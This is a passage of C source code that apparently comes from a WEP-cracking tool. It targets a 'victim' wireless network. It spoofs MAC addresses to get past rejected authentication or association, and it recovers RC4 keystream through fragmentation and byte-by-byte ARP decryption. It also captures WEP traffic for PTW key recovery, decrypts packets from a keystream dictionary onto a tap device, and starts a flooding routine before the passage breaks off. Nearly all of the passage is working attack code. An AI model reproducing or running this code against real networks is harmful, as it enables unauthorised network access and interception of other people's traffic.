849	crc = crc32(0L, Z_NULL, 0);
850	crc = crc32(crc, inet_clear, dlen);
851	pcrc = (unsigned long*) (inet_clear+dlen);
852	*pcrc = crc;
853
854#if 0
855	printf("INET %d\n", sizeof(inet_clear));
856	hexdump(inet_clear, sizeof(inet_clear));
857#endif
858}
859
860void set_prga(unsigned char* iv, unsigned char* cipher,
861	      unsigned char* clear, int len) {
862
863	int i;
864	int fd;
865
866	if (prgainfo.len != 0)
867		free(prgainfo.prga);
868
869	prgainfo.prga = (unsigned char*) malloc(len);
870	if (!prgainfo.prga) {
871		perror("malloc()");
872		exit(1);
873	}
874
875	prgainfo.len = len;
876	memcpy(prgainfo.iv, iv, 3);
877
878	for (i = 0; i < len; i++) {
879		prgainfo.prga[i] =  ( cipher ? (clear[i] ^ cipher[i]) :
880				 	        clear[i]);
881	}
882
883	time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
884	       prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
885	hexdump(prgainfo.prga, prgainfo.len);
886
887	if (!cipher)
888		return;
889
890	fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
891		  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
892
893	if (fd == -1) {
894		perror("open()");
895		exit(1);
896	}
897
898	i = write(fd, prgainfo.iv, 3);
899	if (i == -1) {
900		perror("write()");
901		exit(1);
902	}
903	if (i != 3) {
904		printf("Wrote %d out of %d\n", i, 3);
905		exit(1);
906	}
907
908	i = write(fd, prgainfo.prga, prgainfo.len);
909	if (i == -1) {
910		perror("write()");
911		exit(1);
912	}
913	if (i != prgainfo.len) {
914		printf("Wrote %d out of %d\n", i, prgainfo.len);
915		exit(1);
916	}
917
918	close(fd);
919}
920
921
922void log_dictionary(unsigned char* body, int len) {
923	char paths[3][3];
924	int i, rd;
925	int fd;
926	unsigned char path[128];
927	unsigned char file_clear[sizeof(inet_clear)];
928	unsigned char* data;
929
930	len -= 4; // IV etc..
931	assert (len == sizeof(inet_clear));
932
933	data = body +4;
934
935	if (len > prgainfo.len)
936		set_prga(body, data, inet_clear, len);
937
938
939	for (i = 0; i < 3; i++)
940		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
941
942
943	strcpy(path, DICT_PATH);
944
945
946	// first 2 bytes
947	for (i = 0; i < 2; i++) {
948		strcat(path, "/");
949		strcat(path, paths[i]);
950		fd = open(path, O_RDONLY);
951		if (fd == -1) {
952			if (errno != ENOENT) {
953				perror("open()");
954				exit(1);
955			}
956
957			if (mkdir(path, 0755) == -1) {
958				perror("mkdir()");
959				exit(1);
960			}
961		}
962		else
963			close(fd);
964	}
965
966	// last byte
967	strcat(path, "/");
968	strcat(path, paths[2]);
969
970	fd = open(path, O_RDWR);
971	// already exists... see if we are consistent...
972	if (fd != -1) {
973		rd = read(fd, file_clear, sizeof(file_clear));
974
975		if (rd == -1) {
976			perror("read()");
977			exit(1);
978		}
979
980		// check consistency....
981		for (i = 0; i < rd; i++) {
982			if (file_clear[i] !=
983			    (data[i] ^ inet_clear[i])) {
984
985				printf("Mismatch in byte %d for:\n", i);
986				hexdump(body, len+4);
987				exit(1);
988			}
989		}
990
991		// no need to log
992		if (i >= sizeof(inet_clear)) {
993#if 0
994			time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
995				body[0], body[1], body[2]);
996#endif
997			close(fd);
998			return;
999		}
1000
1001		// file has less... fd still open
1002
1003	} else {
1004		fd = open(path, O_WRONLY | O_CREAT, 0644);
1005		if (fd == -1) {
1006			printf("Can't open (%s): %s\n", path,
1007			       strerror(errno));
1008			exit(1);
1009		}
1010	}
1011
1012	assert (sizeof(file_clear) >= sizeof(inet_clear));
1013
1014	for(i = 0; i < len; i++)
1015		file_clear[i] = data[i] ^ inet_clear[i];
1016
1017	rd = write(fd, file_clear, len);
1018	if (rd == -1) {
1019		perror("write()");
1020		exit(1);
1021	}
1022	if (rd != len) {
1023		printf("Wrote %d of %d\n", rd, len);
1024		exit(1);
1025	}
1026	close(fd);
1027}
1028
1029void stuff_for_us(struct ieee80211_frame* wh, int len) {
1030	int type,stype;
1031	unsigned char* body;
1032
1033	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1034	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1035
1036	body = (unsigned char*) wh + sizeof(*wh);
1037
1038	// CTL
1039	if (type == IEEE80211_FC0_TYPE_CTL) {
1040		if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1041			txstate.waiting_ack = 0;
1042			return;
1043		}
1044
1045		if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1046			return;
1047		}
1048
1049		if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1050			return;
1051		}
1052		time_print ("got CTL=%x\n", stype);
1053		return;
1054	}
1055
1056	// MGM
1057	if (type == IEEE80211_FC0_TYPE_MGT) {
1058		if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1059			unsigned short* rc = (unsigned short*) body;
1060			printf("\n");
1061			time_print("Got deauth=%u\n", le16toh(*rc));
1062			state = FOUND_VICTIM;
1063			return;
1064			exit(1);
1065		}
1066		else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1067			unsigned short* sc = (unsigned short*) body;
1068
1069			if (*sc != 0) {
1070				time_print("Warning got auth algo=%x\n", *sc);
1071				exit(1);
1072				return;
1073			}
1074			sc++;
1075
1076			if (*sc != 2) {
1077				time_print("Warning got auth seq=%x\n", *sc);
1078				return;
1079			}
1080
1081			sc++;
1082
1083			if (*sc == 1) {
1084				time_print("Auth rejected... trying to spoof mac.\n");
1085				state = SPOOF_MAC;
1086				return;
1087			}
1088			else if (*sc == 0) {
1089				time_print("Authenticated\n");
1090				state = GOT_AUTH;
1091				return;
1092			}
1093			else {
1094				time_print("Got auth %x\n", *sc);
1095				exit(1);
1096			}
1097		}
1098		else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1099			unsigned short* sc = (unsigned short*) body;
1100			sc++; // cap
1101
1102			if (*sc == 0) {
1103				sc++;
1104				unsigned int aid = le16toh(*sc) & 0x3FFF;
1105				time_print("Associated (ID=%x)\n", aid);
1106				state = GOT_ASSOC;
1107				return;
1108		        } else if (*sc == 12) {
1109                                time_print("Assoc rejected..."
1110                                           " trying to spoof mac.\n");
1111                                state = SPOOF_MAC;
1112                                return;
1113			} else {
1114				time_print("got assoc %x\n", *sc);
1115				exit(1);
1116			}
1117		} else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1118			return;
1119		}
1120
1121		time_print("\nGOT MAN=%x\n", stype);
1122		exit(1);
1123	}
1124
1125	if (type == IEEE80211_FC0_TYPE_DATA &&
1126	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1127		int dlen;
1128		dlen = len - sizeof(*wh) - 4 -4;
1129
1130		if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) {
1131			time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1132				   mac2str(wh->i_addr2), dlen, stype);
1133				   return;
1134		}
1135
1136		assert (wh->i_fc[1] & IEEE80211_FC1_WEP);
1137
1138		if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1139			rtrmac = (unsigned char *) malloc(6);
1140			if (!rtrmac) {
1141				perror("malloc()");
1142				exit(1);
1143			}
1144
1145			assert( rtrmac > (unsigned char*) 1);
1146
1147			memcpy (rtrmac, wh->i_addr3, 6);
1148			time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1149
1150			return;
1151		}
1152#if 0
1153		// check if its a TTL update from dictionary stuff
1154		if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
1155		    dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1156			int ttl_delta, new_ttl;
1157
1158			ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1159			new_ttl = 128 - ttl_delta;
1160
1161			if (ttl_val && new_ttl != ttl_val) {
1162				time_print("oops. ttl changed from %d to %d\n",
1163					   ttl_val, new_ttl);
1164				exit(1);
1165			}
1166
1167			if (!ttl_val) {
1168				ttl_val = new_ttl;
1169				printf("\n");
1170				time_print("Got TTL of %d\n", ttl_val);
1171				calculate_inet_clear();
1172			}
1173		}
1174
1175		// check if its dictionary data
1176		if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1177			log_dictionary(body, len - sizeof(*wh));
1178		}
1179#endif
1180	}
1181
1182#if 0
1183	printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1184		type, stype, mac2str(wh->i_addr2), len);
1185#endif
1186}
1187
1188void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1189	unsigned char* body;
1190	int bodylen;
1191	unsigned char clear[36];
1192	unsigned char* ptr;
1193	struct arphdr* h;
1194	int i;
1195
1196	body = (unsigned char*) wh+sizeof(*wh);
1197	ptr = clear;
1198
1199	// calculate clear-text
1200	memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
1201	ptr += sizeof(arp_clear) -1;
1202
1203	h = (struct arphdr*)ptr;
1204	h->ar_hrd = htons(ARPHRD_ETHER);
1205        h->ar_pro = htons(ETHERTYPE_IP);
1206        h->ar_hln = 6;
1207        h->ar_pln = 4;
1208        h->ar_op = htons(ARPOP_REQUEST);
1209	ptr += sizeof(*h);
1210
1211	memcpy(ptr, wh->i_addr3, 6);
1212
1213	bodylen = rd - sizeof(*wh) - 4 - 4;
1214	decryptstate.clen = bodylen;
1215	decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1216	if (!decryptstate.cipher) {
1217		perror("malloc()");
1218		exit(1);
1219	}
1220	decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1221	if (!decryptstate.prgainfo.prga) {
1222		perror("malloc()");
1223		exit(1);
1224	}
1225
1226
1227	memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1228	memcpy(decryptstate.prgainfo.iv, body, 3);
1229
1230	memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
1231	for(i = 0; i < (8+8+6); i++) {
1232		decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
1233						clear[i];
1234	}
1235
1236	decryptstate.prgainfo.len = i;
1237	time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1238}
1239
1240void log_wep(struct ieee80211_frame* wh, int len) {
1241	int rd;
1242	struct pcap_pkthdr pkh;
1243	struct timeval tv;
1244	unsigned char *body = (unsigned char*) (wh+1);
1245
1246	memset(&pkh, 0, sizeof(pkh));
1247	pkh.caplen = pkh.len = len;
1248	if (gettimeofday(&tv, NULL) == -1)
1249		err(1, "gettimeofday()");
1250	pkh.ts = tv;
1251	if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
1252		err(1, "write()");
1253
1254	rd = write(weplog.fd, wh, len);
1255
1256	if (rd == -1) {
1257		perror("write()");
1258		exit(1);
1259	}
1260	if (rd != len) {
1261		time_print("short write %d out of %d\n", rd, len);
1262		exit(1);
1263	}
1264
1265#if 0
1266	if (fsync(weplog.fd) == -1) {
1267		perror("fsync()");
1268		exit(1);
1269	}
1270#endif
1271
1272	memcpy(weplog.iv, body, 3);
1273	weplog.packets++;
1274}
1275
1276void try_dictionary(struct ieee80211_frame* wh, int len) {
1277	unsigned char *body;
1278	char path[52];
1279	char paths[3][3];
1280	int i;
1281	int fd, rd;
1282	unsigned char packet[4096];
1283	int dlen;
1284	struct ether_header* eh;
1285	uLong crc;
1286	unsigned long *pcrc;
1287	unsigned char* dmac, *smac;
1288
1289	assert (len < sizeof(packet) + sizeof(*eh));
1290
1291	body = (unsigned char*) wh + sizeof(*wh);
1292
1293	for (i = 0; i < 3; i++)
1294		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1295
1296	sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1297
1298	fd = open(path, O_RDONLY);
1299	if (fd == -1)
1300		return;
1301
1302	rd = read(fd, &packet[6], sizeof(packet)-6);
1303	if (rd == -1) {
1304		perror("read()");
1305		exit(1);
1306	}
1307	close(fd);
1308
1309
1310	dlen = len - sizeof(*wh) - 4;
1311	if (dlen > rd) {
1312		printf("\n");
1313		time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1314		dlen);
1315		return;
1316	}
1317
1318	body += 4;
1319	for (i = 0; i < dlen; i++)
1320		packet[6+i] ^= body[i];
1321
1322	dlen -= 4;
1323	crc = crc32(0L, Z_NULL, 0);
1324	crc = crc32(crc, &packet[6], dlen);
1325	pcrc = (unsigned long*) (&packet[6+dlen]);
1326
1327	if (*pcrc != crc) {
1328		printf("\n");
1329		time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1330			   path, *pcrc, crc);
1331		return;
1332	}
1333
1334	// fill ethernet header
1335	eh = (struct ether_header*) packet;
1336	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1337		smac = wh->i_addr3;
1338	else
1339		smac = wh->i_addr2;
1340
1341	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1342		dmac = wh->i_addr3;
1343	else
1344		dmac = wh->i_addr1;
1345
1346	memcpy(eh->ether_dhost, dmac, 6);
1347	memcpy(eh->ether_shost, smac, 6);
1348	// ether type should be there from llc
1349
1350	dlen -= 8; // llc
1351	dlen += sizeof(*eh);
1352
1353#if 0
1354	printf("\n");
1355	time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1356	hexdump(packet, dlen);
1357#endif
1358
1359	rd = write(tapfd, packet, dlen);
1360	if (rd == -1) {
1361		perror("write()");
1362		exit(1);
1363	}
1364	if (rd != dlen) {
1365		printf("Wrote %d / %d\n", rd, dlen);
1366		exit(1);
1367	}
1368}
1369
1370int is_arp(struct ieee80211_frame *wh, int len)
1371{
1372        int arpsize = 8 + sizeof(struct arphdr) + 10*2;
1373
1374        if (len == arpsize || len == 54)
1375                return 1;
1376
1377        return 0;
1378}
1379
1380void *get_sa(struct ieee80211_frame *wh)
1381{
1382        if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1383                return wh->i_addr3;
1384        else
1385                return wh->i_addr2;
1386}
1387
1388void *get_da(struct ieee80211_frame *wh)
1389{
1390        if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1391                return wh->i_addr1;
1392        else
1393                return wh->i_addr3;
1394}
1395
1396int known_clear(void *clear, struct ieee80211_frame *wh, int len)
1397{
1398        unsigned char *ptr = clear;
1399
1400        /* IP */
1401        if (!is_arp(wh, len)) {
1402                unsigned short iplen = htons(len - 8);
1403
1404//                printf("Assuming IP %d\n", len);
1405
1406                len = sizeof(S_LLC_SNAP_IP) - 1;
1407                memcpy(ptr, S_LLC_SNAP_IP, len);
1408                ptr += len;
1409#if 1
1410                len = 2;
1411                memcpy(ptr, "\x45\x00", len);
1412                ptr += len;
1413
1414                memcpy(ptr, &iplen, len);
1415                ptr += len;
1416#endif
1417                len = ptr - ((unsigned char*)clear);
1418                return len;
1419        }
1420//        printf("Assuming ARP %d\n", len);
1421
1422        /* arp */
1423        len = sizeof(S_LLC_SNAP_ARP) - 1;
1424        memcpy(ptr, S_LLC_SNAP_ARP, len);
1425        ptr += len;
1426
1427        /* arp hdr */
1428        len = 6;
1429        memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
1430        ptr += len;
1431
1432        /* type of arp */
1433        len = 2;
1434        if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
1435                memcpy(ptr, "\x00\x01", len);
1436        else
1437                memcpy(ptr, "\x00\x02", len);
1438        ptr += len;
1439
1440        /* src mac */
1441        len = 6;
1442        memcpy(ptr, get_sa(wh), len);
1443        ptr += len;
1444
1445        len = ptr - ((unsigned char*)clear);
1446        return len;
1447}
1448
1449void add_keystream(struct ieee80211_frame* wh, int rd)
1450{
1451	unsigned char clear[1024];
1452	int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
1453	int clearsize;
1454	unsigned char *body = (unsigned char*) (wh+1);
1455	int i;
1456
1457	clearsize = known_clear(clear, wh, dlen);
1458	if (clearsize < 16)
1459		return;
1460
1461	for (i = 0; i < 16; i++)
1462		clear[i] ^= body[4+i];
1463
1464	PTW_addsession(ptw, body, clear);
1465}
1466
1467void got_wep(struct ieee80211_frame* wh, int rd) {
1468	int bodylen;
1469	int dlen;
1470	unsigned char clear[1024];
1471	int clearsize;
1472	unsigned char *body;
1473
1474	bodylen = rd - sizeof(struct ieee80211_frame);
1475
1476	dlen = bodylen - 4 - 4;
1477	body = (unsigned char*) wh + sizeof(*wh);
1478
1479
1480	// log it if its stuff not from us...
1481	if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1482	     ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1483	        memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1484
1485		if (body[3] != 0) {
1486			time_print("Key index=%x!!\n", body[3]);
1487			exit(1);
1488		}
1489		log_wep(wh, rd);
1490		add_keystream(wh, rd);
1491
1492		// try to decrypt too
1493		try_dictionary(wh, rd);
1494	}
1495
1496	// look for arp-request packets... so we can decrypt em
1497	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1498	    (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1499	    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1500	     (dlen == 36 || dlen == PADDED_ARPLEN) &&
1501	    !decryptstate.cipher &&
1502	    !netip) {
1503		decrypt_arpreq(wh, rd);
1504	}
1505
1506	// we have prga... check if its our stuff being relayed...
1507	if (prgainfo.len != 0) {
1508		// looks like it...
1509		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1510		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1511		    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1512		    dlen == fragstate.len) {
1513
1514//			printf("I fink AP relayed it...\n");
1515			set_prga(body, &body[4], fragstate.data, dlen);
1516			free(fragstate.data);
1517			fragstate.data = 0;
1518			fragstate.waiting_relay = 0;
1519		}
1520
1521		// see if we get the multicast stuff of when decrypting
1522		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1523		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1524		    (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1525		    dlen == 36) {
1526
1527			unsigned char pr = wh->i_addr1[5];
1528
1529			printf("\n");
1530			time_print("Got clear-text byte: %d\n",
1531			decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1532
1533			decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1534			decryptstate.prgainfo.len++;
1535			decryptstate.fragstate.waiting_relay = 1;
1536
1537			// ok we got the ip...
1538			if (decryptstate.prgainfo.len == 26+1) {
1539				unsigned char ip[4];
1540				int i;
1541				struct in_addr *in = (struct in_addr*) ip;
1542				unsigned char *ptr;
1543
1544				for (i = 0; i < 4; i++)
1545					ip[i] = decryptstate.cipher[8+8+6+i] ^
1546						decryptstate.prgainfo.prga[8+8+6+i];
1547
1548				assert(!netip);
1549				netip = (unsigned char*) malloc(16);
1550				if(!netip) {
1551					perror("malloc()");
1552					exit(1);
1553				}
1554
1555				memset(netip, 0, 16);
1556				strcpy(netip, inet_ntoa(*in));
1557
1558				time_print("Got IP=(%s)\n", netip);
1559				strcpy(myip, netip);
1560
1561				ptr = strchr(myip, '.');
1562				assert(ptr);
1563				ptr = strchr(ptr+1, '.');
1564				assert(ptr);
1565				ptr = strchr(ptr+1, '.');
1566				assert(ptr);
1567				strcpy(ptr+1,"123");
1568
1569				time_print("My IP=(%s)\n", myip);
1570
1571
1572				free(decryptstate.prgainfo.prga);
1573				free(decryptstate.cipher);
1574				memset(&decryptstate, 0, sizeof(decryptstate));
1575			}
1576		}
1577		return;
1578	}
1579
1580	clearsize = known_clear(clear, wh, dlen);
1581	time_print("Datalen %d Known clear %d\n", dlen, clearsize);
1582
1583	set_prga(body, &body[4], clear, clearsize);
1584}
1585
1586void stuff_for_net(struct ieee80211_frame* wh, int rd) {
1587	int type,stype;
1588
1589	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1590	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1591
1592	if (type == IEEE80211_FC0_TYPE_DATA &&
1593	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1594		int dlen = rd - sizeof(struct ieee80211_frame);
1595
1596		if (state == SPOOF_MAC) {
1597			unsigned char mac[6];
1598			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1599				memcpy(mac, wh->i_addr3, 6);
1600			} else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1601				memcpy(mac, wh->i_addr1, 6);
1602			} else assert(0);
1603
1604			if (mac[0] == 0xff || mac[0] == 0x1)
1605				return;
1606
1607			memcpy(mymac, mac, 6);
1608			time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1609			state = FOUND_VICTIM;
1610			return;
1611		}
1612
1613		// wep data!
1614		if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
1615			got_wep(wh, rd);
1616		}
1617	}
1618}
1619
1620void anal(unsigned char* buf, int rd, int tx) { // yze
1621	struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
1622	int type,stype;
1623	static int lastseq = -1;
1624	int seq;
1625	unsigned short *seqptr;
1626	int for_us = 0;
1627
1628	if (rd < 1) {
1629		time_print("rd=%d\n", rd);
1630		exit(1);
1631	}
1632
1633	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1634	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1635
1636	// sort out acks
1637	if (state >= FOUND_VICTIM) {
1638		// stuff for us
1639		if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1640			for_us = 1;
1641			if (type != IEEE80211_FC0_TYPE_CTL)
1642				send_ack(tx);
1643		}
1644	}
1645
1646	// XXX i know it aint great...
1647	seqptr = (unsigned short*)  wh->i_seq;
1648	seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1649	if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1650	    type != IEEE80211_FC0_TYPE_CTL) {
1651//		printf("Ignoring dup packet... seq=%d\n", seq);
1652		return;
1653	}
1654	lastseq = seq;
1655
1656	// management frame
1657	if (type == IEEE80211_FC0_TYPE_MGT) {
1658		if(state == FIND_VICTIM) {
1659			if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
1660			    stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1661
1662			    	if (get_victim_ssid(wh, rd)) {
1663			    		return;
1664				}
1665			}
1666
1667		}
1668	}
1669
1670	if (state >= FOUND_VICTIM) {
1671		// stuff for us
1672		if (for_us) {
1673			stuff_for_us(wh, rd);
1674		}
1675
1676		// stuff in network [even for us]
1677		if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1678			  (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
1679
1680			  ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1681			  (memcmp(victim.bss, wh->i_addr2, 6) == 0))
1682			   ) {
1683			stuff_for_net(wh, rd);
1684		}
1685	}
1686}
1687
1688void do_arp(unsigned char* buf, unsigned short op,
1689	    unsigned char* m1, unsigned char* i1,
1690	    unsigned char* m2, unsigned char* i2) {
1691
1692        struct in_addr sip;
1693        struct in_addr dip;
1694	struct arphdr* h;
1695	unsigned char* data;
1696
1697        inet_aton(i1, &sip);
1698        inet_aton(i2, &dip);
1699	h = (struct arphdr*) buf;
1700
1701	memset(h, 0, sizeof(*h));
1702
1703	h->ar_hrd = htons(ARPHRD_ETHER);
1704        h->ar_pro = htons(ETHERTYPE_IP);
1705        h->ar_hln = 6;
1706        h->ar_pln = 4;
1707        h->ar_op = htons(op);
1708
1709	data = (unsigned char*) h + sizeof(*h);
1710
1711	memcpy(data, m1, 6);
1712	data += 6;
1713	memcpy(data, &sip, 4);
1714	data += 4;
1715
1716	memcpy(data, m2, 6);
1717	data += 6;
1718	memcpy(data, &dip, 4);
1719	data += 4;
1720}
1721
1722void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1723	unsigned char buf[4096];
1724	struct ieee80211_frame* wh;
1725	unsigned char* body;
1726	int fragsize;
1727	uLong crc;
1728	unsigned long *pcrc;
1729	int i;
1730	unsigned short* seq;
1731	unsigned short sn, fn;
1732
1733	wh = (struct ieee80211_frame*) buf;
1734	memcpy(wh, &fs->wh, sizeof(*wh));
1735
1736	body = (unsigned char*) wh + sizeof(*wh);
1737	memcpy(body, &pi->iv, 3);
1738	body += 3;
1739	*body++ = 0; // key index
1740
1741	fragsize = fs->data + fs->len - fs->ptr;
1742
1743	assert(fragsize > 0);
1744
1745	if ( (fragsize + 4) > pi->len) {
1746		fragsize = pi->len  - 4;
1747		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1748	}
1749	// last fragment
1750	else {
1751		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1752	}
1753
1754	memcpy(body, fs->ptr, fragsize);
1755
1756	crc = crc32(0L, Z_NULL, 0);
1757	crc = crc32(crc, body, fragsize);
1758	pcrc = (unsigned long*) (body+fragsize);
1759	*pcrc = crc;
1760
1761	for (i = 0; i < (fragsize + 4); i++)
1762		body[i] ^= pi->prga[i];
1763
1764	seq = (unsigned short*) &wh->i_seq;
1765	sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1766	fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1767//	printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1768
1769	send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1770
1771	seq = (unsigned short*) &fs->wh.i_seq;
1772	*seq = fnseq(++fn, sn);
1773	fs->ptr += fragsize;
1774
1775	if (fs->ptr - fs->data == fs->len) {
1776//		printf("Finished sending frags...\n");
1777		fs->waiting_relay = 1;
1778	}
1779}
1780
1781void prepare_fragstate(struct frag_state* fs, int pad) {
1782	fs->waiting_relay = 0;
1783	fs->len = 8 + 8 + 20 + pad;
1784	fs->data = (unsigned char*) malloc(fs->len);
1785
1786	if(!fs->data) {
1787		perror("malloc()");
1788		exit(1);
1789	}
1790
1791	fs->ptr = fs->data;
1792
1793	do_llc(fs->data, ETHERTYPE_ARP);
1794	do_arp(&fs->data[8], ARPOP_REQUEST,
1795	       mymac, myip,
1796	       "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1797
1798	memset(&fs->wh, 0, sizeof(fs->wh));
1799	fill_basic(&fs->wh);
1800
1801	memset(fs->wh.i_addr3, 0xff, 6);
1802	fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1803	fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1804				IEEE80211_FC1_MORE_FRAG |
1805				IEEE80211_FC1_WEP;
1806
1807	memset(&fs->data[8+8+20], 0, pad);
1808}
1809
1810void discover_prga(int tx) {
1811
1812	// create packet...
1813	if (!fragstate.data) {
1814		int pad = 0;
1815
1816		if (prgainfo.len >= 20)
1817			pad = prgainfo.len*3;
1818
1819		prepare_fragstate(&fragstate, pad);
1820	}
1821
1822	if (!fragstate.waiting_relay) {
1823		send_fragment(tx, &fragstate, &prgainfo);
1824		if (fragstate.waiting_relay) {
1825			if (gettimeofday(&fragstate.last, NULL) == -1)
1826				err(1, "gettimeofday()");
1827		}
1828	}
1829}
1830
1831void decrypt(int tx) {
1832
1833	// gotta initiate
1834	if (!decryptstate.fragstate.data) {
1835		prepare_fragstate(&decryptstate.fragstate, 0);
1836
1837		memcpy(decryptstate.fragstate.wh.i_addr3,
1838		       MCAST_PREF, 5);
1839
1840		decryptstate.fragstate.wh.i_addr3[5] =
1841		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1842
1843		decryptstate.prgainfo.len++;
1844	}
1845
1846	// guess diff prga byte...
1847	if (decryptstate.fragstate.waiting_relay) {
1848		unsigned short* seq;
1849		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1850
1851#if 0
1852		if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1853			printf("Can't decrpyt!\n");
1854			exit(1);
1855		}
1856#endif
1857		decryptstate.fragstate.wh.i_addr3[5] =
1858		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1859
1860		decryptstate.fragstate.waiting_relay = 0;
1861		decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1862
1863		seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1864		*seq = fnseq(0, txstate.psent);
1865	}
1866
1867	send_fragment(tx, &decryptstate.fragstate,
1868		      &decryptstate.prgainfo);
1869}
1870
1871void flood_inet(tx) {
1872	static int send_arp = -1;
1873	static unsigned char arp_pkt[128];
1874	static int arp_len;
1875	static unsigned char udp_pkt[128];
1876	static int udp_len;
1877	static struct timeval last_ip;
1878
1879	// need to init packets...
1880	if (send_arp == -1) {
1881		unsigned char* body;
1882		unsigned char* ptr;
1883		struct ieee80211_frame* wh;
1884		struct ip* ih;
1885		struct udphdr* uh;
1886
1887		memset(arp_pkt, 0, sizeof(arp_pkt));
1888		memset(udp_pkt, 0, sizeof(udp_pkt));
1889
1890		// construct ARP
